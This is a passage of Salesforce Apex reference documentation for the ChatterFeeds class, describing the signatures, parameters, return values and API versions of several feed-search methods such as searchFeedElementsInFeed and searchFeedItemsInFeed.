•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, showInternalOnly, result)
Testing ConnectApi Code
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q, showInternalOnly, filter)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted
by internal (non-community) users only. Specify feed filter.
API Version
32.0
Available to Guest Users
32.0
991
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly,
ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
992
ChatterFeeds ClassReference
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, showInternalOnly, filter, result)
Testing ConnectApi Code
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)
Searches the feed elements of a feed filtered by key prefix.
API Version
31.0
993
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String
communityId, String subjectId, String keyPrefix, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q, result)
Testing ConnectApi Code
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam,
pageSize, sortParam, q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
API Version
31.0
994
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String
communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
995
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix,
recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
element includes no more than the specified number of comments.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
996
ChatterFeeds ClassReference
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
sortParam, q, result)
Testing ConnectApi Code
997
ChatterFeeds ClassReference
searchFeedItems(communityId, q)
Returns the first page of all the feed items that match the specified search criteria. The page contains the default number of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItems(communityId, q, result)
Testing ConnectApi Code
searchFeedItems(communityId, q, sortParam)
Returns the first page of all the feed items that match the specified search criteria. The page contains the default number of items.
998
ChatterFeeds ClassReference
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, sortParam).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
999
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItems(communityId, q, sortParam, result)
Testing ConnectApi Code
searchFeedItems(communityId, q, pageParam, pageSize)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, pageParam, pageSize).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
String pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
1000
ChatterFeeds ClassReference
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItems(communityId, q, pageParam, pageSize, result)
Testing ConnectApi Code
searchFeedItems(communityId, q, pageParam, pageSize, sortParam)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, pageParam, pageSize, sortParam).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
1001
ChatterFeeds ClassReference
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItems(communityId, q, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize,
sortParam)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.
API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize,
sortParam).
Available to Guest Users
31.0 only
1002
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
Integer recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
1003
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
searchFeedItemsInFeed(communityId, feedType, q)
Searches the feed items for the Company, Home, and Moderation feed types.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, q).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
1004
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, q, result)
Testing ConnectApi Code
searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam,
q)
Searches the feed items for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam,
q).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
1005
ChatterFeeds ClassReference
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code
searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam, q)
Searches the feed items for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order. Each feed item includes no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam, q).
1006
ChatterFeeds ClassReference
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
1007
ChatterFeeds ClassReference
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code
searchFeedItemsInFeed(communityId, feedType, subjectId, q)
Searches the feed items for a specified feed type.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, q).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String q)
1008
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feed type is UserProfile, subjectId
can be any user ID. If feedType is any other value, subjectId must be the ID of the context user or the alias me.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, q, result)
Testing ConnectApi Code
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam, q)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort order.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam, q).
Available to Guest Users
31.0 only
1009
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Specifies the order of feed items in the feed.
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
1010
ChatterFeeds ClassReference
Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support
wildcards. This parameter is required.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code
searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q)
Searches the feed items for a specified feed type and returns a specified page and page size in a specified sort order. Each feed item
includes no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1011
ChatterFeeds ClassReference
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
1012
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q, result)
Testing ConnectApi Code
searchFeedItemsInFeed(String, ConnectApi.FeedType, String,Integer,
ConnectApi.FeedDensity, String,Integer, ConnectApi.FeedSortOrder, String,
Boolean)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort order.
Each feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal
(non-community) users only.
API Version
30.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q, showInternalOnly).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1013
ChatterFeeds ClassReference
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
1014
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q, showInternalOnly, result)
Testing ConnectApi Code
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)
Searches the feed items of a feed filtered by key prefix.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId,
String subjectId, String keyPrefix, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
q
Type: String
1015
ChatterFeeds ClassReference
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
